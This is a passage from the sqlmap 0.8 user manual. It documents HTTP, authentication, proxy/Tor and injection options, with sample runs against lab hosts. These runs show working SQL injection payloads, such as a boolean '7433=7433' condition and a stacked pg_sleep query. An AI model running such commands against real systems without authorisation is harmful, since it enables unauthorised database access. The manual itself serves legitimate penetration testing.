Option: <tt>-</tt><tt>-headers</tt>
|
|
|
|
<p>
|
|
It is possible to provide extra HTTP headers by providing <tt>-</tt><tt>-headers</tt>
|
|
options. Each header must be separated by a newline and it's much easier
|
|
to provide them from the configuration INI file. Have a look at the sample
|
|
<tt>sqlmap.conf</tt> file.
|
|
|
|
|
|
<sect2>HTTP <tt>Basic</tt>, <tt>Digest</tt> and <tt>NTLM</tt> authentications
|
|
|
|
<p>
|
|
Options: <tt>-</tt><tt>-auth-type</tt> and <tt>-</tt><tt>-auth-cred</tt>
|
|
|
|
<p>
|
|
These options can be used to specify which HTTP authentication type the
|
|
web server implements and the valid credentials to be used to perfom all
|
|
HTTP requests to the target application.
|
|
The three valid types are <tt>Basic</tt>, <tt>Digest</tt> and <tt>NTLM</tt>,
|
|
while the credentials' syntax is <tt>username:password</tt>.
|
|
|
|
<p>
|
|
Examples on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/basic/get_int.php?id=1" \
|
|
--auth-type Basic --auth-cred "testuser:testpass" -v 3
|
|
|
|
[...]
|
|
[hh:mm:14] [INFO] testing connection to the target url
|
|
[hh:mm:14] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/basic/get_int.php?id=1 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 172.16.213.131
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
|
|
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
[...]
|
|
|
|
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/digest/get_int.php?id=1" \
|
|
--auth-type Digest --auth-cred "testuser:testpass" -v 3
|
|
|
|
[...]
|
|
[hh:mm:54] [INFO] testing connection to the target url
|
|
[hh:mm:54] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/digest/get_int.php?id=1 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 172.16.213.131
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
Authorization: Digest username="testuser", realm="Testing digest authentication",
|
|
nonce="Qw52C8RdBAA=2d7eb362292b24718dcb6e4d9a7bf0f13d58fa9d",
|
|
uri="/sqlmap/mysql/digest/get_int.php?id=1", response="16d01b08ff2f77d8ff0183d706f96747",
|
|
algorithm="MD5", qop=auth, nc=00000001, cnonce="579be5eb8753693a"
|
|
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
[...]
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect2>HTTP Certificate authentication
|
|
|
|
<p>
|
|
Option: <tt>-</tt><tt>-auth-cert</tt>
|
|
|
|
This option should be used in cases when the web server requires proper user's
|
|
certificate for authentication. Supplied values should be in the form: <tt>key_file,
|
|
cert_file</tt>, where <tt>key_file</tt> should be the name of a PEM formatted file that
|
|
contains your private key, while <tt>cert_file</tt> should be the name for a PEM formatted
|
|
certificate chain file.
|
|
|
|
<p>
|
|
Example:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://www.example.com/process.php?id=1" \
|
|
--auth-cert key.pem,cert.pem
|
|
[...]
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect2>HTTP proxy
|
|
|
|
<p>
|
|
Option: <tt>-</tt><tt>-proxy</tt> and <tt>-</tt><tt>-ignore-proxy</tt>
|
|
|
|
<p>
|
|
It is possible to provide an anonymous HTTP proxy address to pass by the
|
|
HTTP requests to the target URL. The syntax of HTTP proxy value is
|
|
<tt>http://url:port</tt>.
|
|
|
|
<p>
|
|
Example on a <bf>PostgreSQL 8.3.5</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
|
|
--proxy "http://172.16.213.1:8080"
|
|
|
|
[hh:mm:36] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
|
[hh:mm:36] [WARNING] GET parameter 'cat' is not dynamic
|
|
[hh:mm:37] [WARNING] the back-end DMBS is not MySQL
|
|
[hh:mm:37] [WARNING] the back-end DMBS is not Oracle
|
|
back-end DBMS: PostgreSQL
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Instead of using a single anonymous HTTP proxy server to pass by, you can
|
|
configure a <htmlurl url="http://tor.eff.org" name="Tor client"> together
|
|
with <htmlurl url="http://www.privoxy.org" name="Privoxy"> on your machine
|
|
as explained on the <htmlurl url="http://tor.eff.org/docs/tor-doc-unix.html.en"
|
|
name="Tor client guide"> then run sqlmap as follows:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
|
|
--proxy "http://172.16.213.1:8118"
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Note that <tt>8118</tt> is the default Privoxy port, adapt it to your
|
|
settings.
|
|
|
|
<p>
|
|
The option <tt>-</tt><tt>-ignore-proxy</tt> should be used in cases like
|
|
when you want to run sqlmap against the machine inside a local area
|
|
network skipping default usage of a system-wide set HTTP proxy server.
|
|
|
|
|
|
<sect2>Concurrent HTTP requests
|
|
|
|
<p>
|
|
Option: <tt>-</tt><tt>-threads</tt>
|
|
|
|
<p>
|
|
It is possible to specify the number of maximum concurrent HTTP requests
|
|
that sqlmap can start when it uses the blind SQL injection technique to
|
|
retrieve the query output.
|
|
This feature relies on the <htmlurl url="http://en.wikipedia.org/wiki/Multithreading"
|
|
name="multithreading"> concept and inherits both its pro and its cons.
|
|
|
|
<p>
|
|
Examples on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 \
|
|
--current-user --threads 3
|
|
|
|
[...]
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:18] [INFO] fetching current user
|
|
[hh:mm:18] [INFO] retrieving the length of query output
|
|
[hh:mm:18] [INFO] retrieved: 18
|
|
[hh:mm:19] [INFO] starting 3 threads
|
|
[hh:mm:19] [INFO] retrieved: testuser@localhost
|
|
current user: 'testuser@localhost'
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
As you can see, sqlmap first calculates the length of the query output,
|
|
then starts three threads. Each thread is assigned to retrieve one
|
|
character of the query output. The thread then ends after up to seven
|
|
HTTP requests, the maximum requests to retrieve a query output character
|
|
with the blind SQL injection bisection algorithm implemented in sqlmap.
|
|
|
|
<p>
|
|
Note that the multithreading option is not needed if the target is affected
|
|
by an inband SQL injection vulnerability and the <tt>-</tt><tt>-union-use</tt>
|
|
option has been provided.
|
|
|
|
|
|
<sect2>Delay in seconds between each HTTP request
|
|
|
|
<p>
|
|
Option: <tt>-</tt><tt>-delay</tt>
|
|
|
|
<p>
|
|
It is possible to specify a number of seconds to wait between each HTTP
|
|
request. The valid value is a float, for instance 0.5 means half a second.
|
|
|
|
|
|
<sect2>Seconds to wait before timeout connection
|
|
|
|
<p>
|
|
Option: <tt>-</tt><tt>-timeout</tt>
|
|
|
|
<p>
|
|
It is possible to specify a number of seconds to wait before considering
|
|
the HTTP request timed out. The valid value is a float, for instance
|
|
10.5 means ten seconds and a half.
|
|
|
|
|
|
<sect2>Maximum number of retries when the HTTP connection timeouts
|
|
|
|
<p>
|
|
Option: <tt>-</tt><tt>-retries</tt>
|
|
|
|
<p>
|
|
It is possible to specify the maximum number of retries when the HTTP
|
|
connection timeouts. By default it retries up to three times.
|
|
|
|
|
|
<sect2>Filtering targets from provided proxy log using regular expression
|
|
|
|
<p>
|
|
Option: <tt>-</tt><tt>-scope</tt>
|
|
|
|
<p>
|
|
Rather than using all hosts parsed from provided logs with option
|
|
<tt>-l</tt>, in combination with this option you can specify valid
|
|
python regular expression to be used for filtering desired ones.
|
|
|
|
Example usage:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -l /tmp/webscarab.log/conversations/ --scope="(www)?\.target\.(com|net|org)"
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect1>Injection
|
|
|
|
<p>
|
|
These options can be used to specify which parameters to test for, provide
|
|
custom injection payloads and how to parse and compare HTTP responses page
|
|
content when using the blind SQL injection technique.
|
|
|
|
|
|
<sect2>Testable parameter(s)
|
|
|
|
<p>
|
|
Option: <tt>-p</tt>
|
|
|
|
<p>
|
|
By default sqlmap tests all <tt>GET</tt> parameters, <tt>POST</tt>
|
|
parameters, HTTP <tt>Cookie</tt> header values and HTTP <tt>User-Agent</tt>
|
|
header value for dynamicity and SQL injection vulnerability, but it is
|
|
possible to manually specificy the parameter(s) you want sqlmap to perform
|
|
tests on comma separeted in order to skip dynamicity tests and perform SQL
|
|
injection test and inject directly only against the provided parameter(s).
|
|
|
|
Example on a <bf>PostgreSQL 8.3.5</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -v 1 \
|
|
-p "id"
|
|
|
|
[hh:mm:48] [INFO] testing connection to the target url
|
|
[hh:mm:48] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:49] [INFO] url is stable
|
|
[hh:mm:49] [INFO] testing if GET parameter 'id' is dynamic
|
|
[hh:mm:49] [INFO] confirming that GET parameter 'id' is dynamic
|
|
[hh:mm:49] [INFO] GET parameter 'id' is dynamic
|
|
[hh:mm:49] [INFO] testing sql injection on GET parameter 'id'
|
|
[hh:mm:49] [INFO] testing numeric/unescaped injection on GET parameter 'id'
|
|
[hh:mm:49] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
|
|
[hh:mm:49] [INFO] GET parameter 'id' is numeric/unescaped injectable
|
|
[hh:mm:49] [INFO] testing for parenthesis on injectable parameter
|
|
[hh:mm:49] [INFO] the injectable parameter requires 0 parenthesis
|
|
[...]
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Or, if you want to provide more than one parameter, for instance:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
|
|
-p "cat,id"
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
You can also test only the HTTP <tt>User-Agent</tt> header.
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/ua_str.php" -v 1 \
|
|
-p "user-agent" --user-agent "sqlmap/0.8 (http://sqlmap.sourceforge.net)"
|
|
|
|
[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
|
|
[hh:mm:40] [INFO] testing connection to the target url
|
|
[hh:mm:40] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:41] [INFO] url is stable
|
|
[hh:mm:41] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:41] [INFO] confirming that User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:41] [INFO] testing sql injection on User-Agent parameter 'User-Agent'
|
|
[hh:mm:41] [INFO] testing numeric/unescaped injection on User-Agent parameter 'User-Agent'
|
|
[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is not numeric/unescaped injectable
|
|
[hh:mm:41] [INFO] testing string/single quote injection on User-Agent parameter 'User-Agent'
|
|
[hh:mm:41] [INFO] confirming string/single quote injection on User-Agent parameter 'User-Agent'
|
|
[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is string/single quote injectable
|
|
[hh:mm:41] [INFO] testing for parenthesis on injectable parameter
|
|
[hh:mm:41] [INFO] the injectable parameter requires 0 parenthesis
|
|
[hh:mm:41] [INFO] testing MySQL
|
|
[hh:mm:41] [INFO] retrieved: 44
|
|
[hh:mm:41] [INFO] confirming MySQL
|
|
[hh:mm:41] [INFO] retrieved: 1
|
|
[hh:mm:41] [INFO] retrieved: 4
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect2>Force the database management system name
|
|
|
|
<p>
|
|
Option: <tt>-</tt><tt>-dbms</tt>
|
|
|
|
<p>
|
|
By default sqlmap automatically detects the web application's back-end
|
|
database management system.
|
|
At the moment, fully supported database management systems are:
|
|
|
|
<itemize>
|
|
<item>MySQL
|
|
<item>Oracle
|
|
<item>PostgreSQL
|
|
<item>Microsoft SQL Server
|
|
</itemize>
|
|
|
|
<p>
|
|
It is possible to force the DBMS name if you already know it so that sqlmap
|
|
will skip the fingerprint with an exception for MySQL and Microsoft SQL
|
|
Server to only identify the version.
|
|
To avoid also this check you can provide instead <tt>MySQL <version></tt> or
|
|
<tt>Microsoft SQL Server <version></tt>, where <version> is a valid version for
|
|
the DBMS; for instance <tt>5.0</tt> for MySQL and <tt>2005</tt> for
|
|
Microsoft SQL Server.
|
|
|
|
Example on a <bf>PostgreSQL 8.3.5</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -v 2 \
|
|
--dbms "PostgreSQL"
|
|
|
|
[...]
|
|
[hh:mm:31] [DEBUG] skipping to test for MySQL
|
|
[hh:mm:31] [DEBUG] skipping to test for Oracle
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: PostgreSQL
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
In case you provide <tt>-</tt><tt>-fingerprint</tt> together with <tt>-</tt><tt>-dbms</tt>,
|
|
sqlmap will only perform the extensive fingerprint for the specified
|
|
database management system, read below for further details.
|
|
|
|
<p>
|
|
Note that this option is <bf>not</bf> mandatory and it is strongly
|
|
recommended to use it <bf>only if you are absolutely sure</bf> about the
|
|
back-end database management system. If you do not know it, let sqlmap
|
|
automatically identify it for you.
|
|
|
|
|
|
<sect2>Force the database management system operating system name
|
|
|
|
<p>
|
|
Option: <tt>-</tt><tt>-os</tt>
|
|
|
|
<p>
|
|
By default sqlmap automatically detects the web application's back-end
|
|
database management system underlying operating system when requested by
|
|
any other functionality.
|
|
At the moment the fully supported operating systems are two:
|
|
|
|
<itemize>
|
|
<item>Linux
|
|
<item>Windows
|
|
</itemize>
|
|
|
|
<p>
|
|
It is possible to force the operating system name if you already know it so
|
|
that sqlmap will skip the fingerprint.
|
|
|
|
<p>
|
|
Note that this option is <bf>not</bf> mandatory and it is strongly
|
|
recommended to use it <bf>only if you are absolutely sure</bf> about the
|
|
back-end database management system underlying operating system. If you do
|
|
not know it, let sqlmap automatically identify it for you.
|
|
|
|
|
|
<sect2>Custom injection payload
|
|
|
|
<p>
|
|
Options: <tt>-</tt><tt>-prefix</tt> and <tt>-</tt><tt>-postfix</tt>
|
|
|
|
<p>
|
|
In some circumstances the vulnerable parameter is exploitable only if the
|
|
user provides a postfix to be appended to the injection payload.
|
|
Another scenario where these options come handy presents itself when the
|
|
user already knows that query syntax and want to detect and exploit the
|
|
SQL injection by directly providing a injection payload prefix and/or
|
|
postfix.
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target on a page where the SQL query is:
|
|
<tt>$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";</tt>:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 \
|
|
-p "id" --prefix "'" --postfix "AND 'test'='test"
|
|
|
|
[...]
|
|
[hh:mm:16] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
|
|
[hh:mm:16] [INFO] testing custom injection on GET parameter 'id'
|
|
[hh:mm:16] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20
|
|
%28%27test%27=%27test HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 172.16.213.131
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
[...]
|
|
[hh:mm:17] [INFO] GET parameter 'id' is custom injectable
|
|
[...]
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
As you can see, the injection payload for testing for custom injection is:
|
|
|
|
<tscreen><verb>
|
|
id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test
|
|
</verb></tscreen>
|
|
|
|
which URL decoded is:
|
|
|
|
<tscreen><verb>
|
|
id=1') AND 7433=7433 AND ('test'='test
|
|
</verb></tscreen>
|
|
|
|
and makes the query syntatically correct to the page query:
|
|
|
|
<tscreen><verb>
|
|
SELECT * FROM users WHERE id=('1') AND 7433=7433 AND ('test'='test') LIMIT 0, 1
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
In this simple example, sqlmap could detect the SQL injection and exploit
|
|
it without need to provide a custom injection payload, but sometimes in
|
|
the real world application it is necessary to provide it.
|
|
|
|
|
|
<sect2>Page comparison
|
|
|
|
<p>
|
|
Options: <tt>-</tt><tt>-string</tt> and <tt>-</tt><tt>-regexp</tt>
|
|
|
|
<p>
|
|
By default the distinction of a True query by a False one (basic concept
|
|
for Inferential blind SQL injection attacks) is done comparing injected
|
|
requests page content MD5 hash with the original not injected page content
|
|
MD5 hash.
|
|
Not always this concept works because sometimes the page content changes at
|
|
each refresh even not injecting anything, for instance when the page has a
|
|
counter, a dynamic advertisment banner or any other part of the HTML which
|
|
is render dynamically and might change in time not only consequently to
|
|
user's input.
|
|
To bypass this limit, sqlmap makes it possible to manually provide a
|
|
string which is <bf>always</bf> present on the not injected page
|
|
<bf>and</bf> on all True injected query pages, but that it is <bf>not</bf>
|
|
on the False ones. This can also be achieved by providing a regular
|
|
expression.
|
|
Such information is easy for an user to retrieve, simply try to inject on
|
|
the affected URL parameter an invalid value and compare original (not
|
|
injected) page content with the injected wrong page content to identify
|
|
which string or regular expression match is on not injected and True page
|
|
only.
|
|
This way the distinction will be based upon string presence or regular
|
|
expression match and not page MD5 hash comparison.
|
|
|
|
Example on a <bf>MySQL 5.0.67</bf> target on a page which content changes
|
|
every second due to a call to PHP function <tt>time()</tt>:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_refresh.php?id=1" \
|
|
-v 5
|
|
|
|
[...]
|
|
[hh:mm:50] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:50] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
|
|
Host: 172.16.213.131
|
|
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
|
|
[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
|
|
Date: Fri, 25 Jul 2008 14:29:50 GMT
|
|
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
|
|
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
|
|
X-Powered-By: PHP/5.2.4-2ubuntu5.2
|
|
Connection: close
|
|
Transfer-Encoding: chunked
|
|
Content-Type: text/html
|
|
|
|
<html><body>
|
|
<b>SQL results:</b>
|
|
<table border="1">
|
|
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
|
|
</table>
|
|
</body></html><p>Dynamic content: 1216996190</p>
|
|
|
|
[hh:mm:51] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
|
|
Host: 172.16.213.131
|
|
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
|
|
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
|
|
Date: Fri, 25 Jul 2008 14:29:51 GMT
|
|
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
|
|
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
|
|
X-Powered-By: PHP/5.2.4-2ubuntu5.2
|
|
Content-Length: 161
|
|
Connection: close
|
|
Content-Type: text/html
|
|
|
|
<html><body>
|
|
<b>SQL results:</b>
|
|
<table border="1">
|
|
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
|
|
</table>
|
|
</body></html><p>Dynamic content: 1216996191</p>
|
|
|
|
[hh:mm:51] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
|
|
Host: 172.16.213.131
|
|
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
|
|
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
|
|
Date: Fri, 25 Jul 2008 14:29:51 GMT
|
|
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
|
|
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
|
|
X-Powered-By: PHP/5.2.4-2ubuntu5.2
|
|
Content-Length: 161
|
|
Connection: close
|
|
Content-Type: text/html
|
|
|
|
<html><body>
|
|
<b>SQL results:</b>
|
|
<table border="1">
|
|
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
|
|
</table>
|
|
</body></html><p>Dynamic content: 1216996191</p>
|
|
|
|
[hh:mm:51] [ERROR] url is not stable, try with --string or --regexp options, refer to
|
|
the user's manual paragraph 'Page comparison' for details
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
As you can see, the string after <tt>Dynamic content</tt> changes its
|
|
value every second. In the example it is just a call to PHP
|
|
<tt>time()</tt> function, but on the real world it is usually much more
|
|
than that.
|
|
|
|
<p>
|
|
Looking at the HTTP responses page content you can see that the first five
|
|
lines of code do not change at all.
|
|
So choosing for instance the word <tt>luther</tt> as an output that is
|
|
on the not injected page content and it is not on the False page content
|
|
(because the query condition returns no output so <tt>luther</tt> is not
|
|
displayed on the page content) and passing it to sqlmap, you are able to
|
|
inject anyway.
|
|
|
|
Example on a <bf>MySQL 5.0.67</bf> target on a page which content changes
|
|
every second due to a call to PHP function <tt>time()</tt>:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_refresh.php?id=1" \
|
|
--string "luther" -v 1
|
|
|
|
[hh:mm:22] [INFO] testing connection to the target url
|
|
[hh:mm:22] [INFO] testing if the provided string is within the target URL page content
|
|
[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
|
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
|
|
[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
|
|
[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
|
|
[...]
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
You can also specify a regular expression to match rather than a string if
|
|
you prefer.
|
|
|
|
Example on a <bf>MySQL 5.0.67</bf> target on a page which content changes
|
|
every second due to a call to PHP function <tt>time()</tt>:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_refresh.php?id=1" \
|
|
--regexp "<td>lu[\w][\w]er" -v 1
|
|
|
|
[hh:mm:22] [INFO] testing connection to the target url
|
|
[hh:mm:22] [INFO] testing if the provided regular expression matches within the target
|
|
URL page content
|
|
[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
|
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
|
|
[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
|
|
[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
|
|
[...]
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
As you can see, when one of these options is specified, sqlmap skips the
|
|
URL stability test.
|
|
|
|
<p>
|
|
<bf>Consider one of these options a MUST when dealing with a page
|
|
with content that changes itself at each refresh without modifying the
|
|
user's input</bf>.
|
|
|
|
|
|
<sect2>Exclude specific page content
|
|
|
|
<p>
|
|
Options: <tt>-</tt><tt>-excl-str</tt> and <tt>-</tt><tt>-excl-reg</tt>
|
|
|
|
<p>
|
|
Another way to get around the dynamicity issue explained above is to exclude
|
|
the dynamic part from the page content before processing it.
|
|
|
|
<p>
|
|
As you see in the above example the number after <tt>Dynamic content: </tt>
|
|
was dynamic and changed each second. To get around of this problem we could
|
|
use the above explained page comparison options or exclude this snippet of
|
|
dynamic text from the page before processing it and comparing it with the
|
|
not injected page.
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_refresh.php?id=1" \
|
|
--excl-reg "Dynamic content: ([\d]+)"
|
|
|
|
[hh:mm:22] [INFO] testing connection to the target url
|
|
[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
|
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
|
|
[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
|
|
[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
|
|
[...]
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
As you can see, when this options is specified, sqlmap skips the URL
|
|
stability test.
|
|
|
|
|
|
<sect1>Techniques
|
|
|
|
<p>
|
|
These options can be used to test for specific SQL injection technique or
|
|
to use one of them to exploit the affected parameter(s) rather than using
|
|
the default blind SQL injection technique.
|
|
|
|
<sect2>Test for stacked queries (multiple statements) support
|
|
|
|
<p>
|
|
Option: <tt>-</tt><tt>-stacked-test</tt>
|
|
|
|
<p>
|
|
It is possible to test if the web application technology supports
|
|
<bf>stacked queries</bf>, multiple statements, on the injectable
|
|
parameter.
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" \
|
|
--stacked-test -v 1
|
|
|
|
[...]
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:15] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:15] [WARNING] the web application does not support stacked queries on parameter 'id'
|
|
stacked queries support: None
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
By default PHP builtin function <tt>mysql_query()</tt> does not support
|
|
multiple statements.
|
|
Multiple statements is a feature supported by default only by some
|
|
web application technologies in relation to the back-end database
|
|
management system. For instance, as you can see from the next example,
|
|
where PHP does not support them on MySQL, it does on PostgreSQL.
|
|
|
|
<p>
|
|
Example on a <bf>PostgreSQL 8.3.5</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
|
|
--stacked-test -v 1
|
|
|
|
[...]
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:01] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:06] [INFO] the web application supports stacked queries on parameter 'id'
|
|
stacked queries support: 'id=1; SELECT pg_sleep(5);-- AND 3128=3128'
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
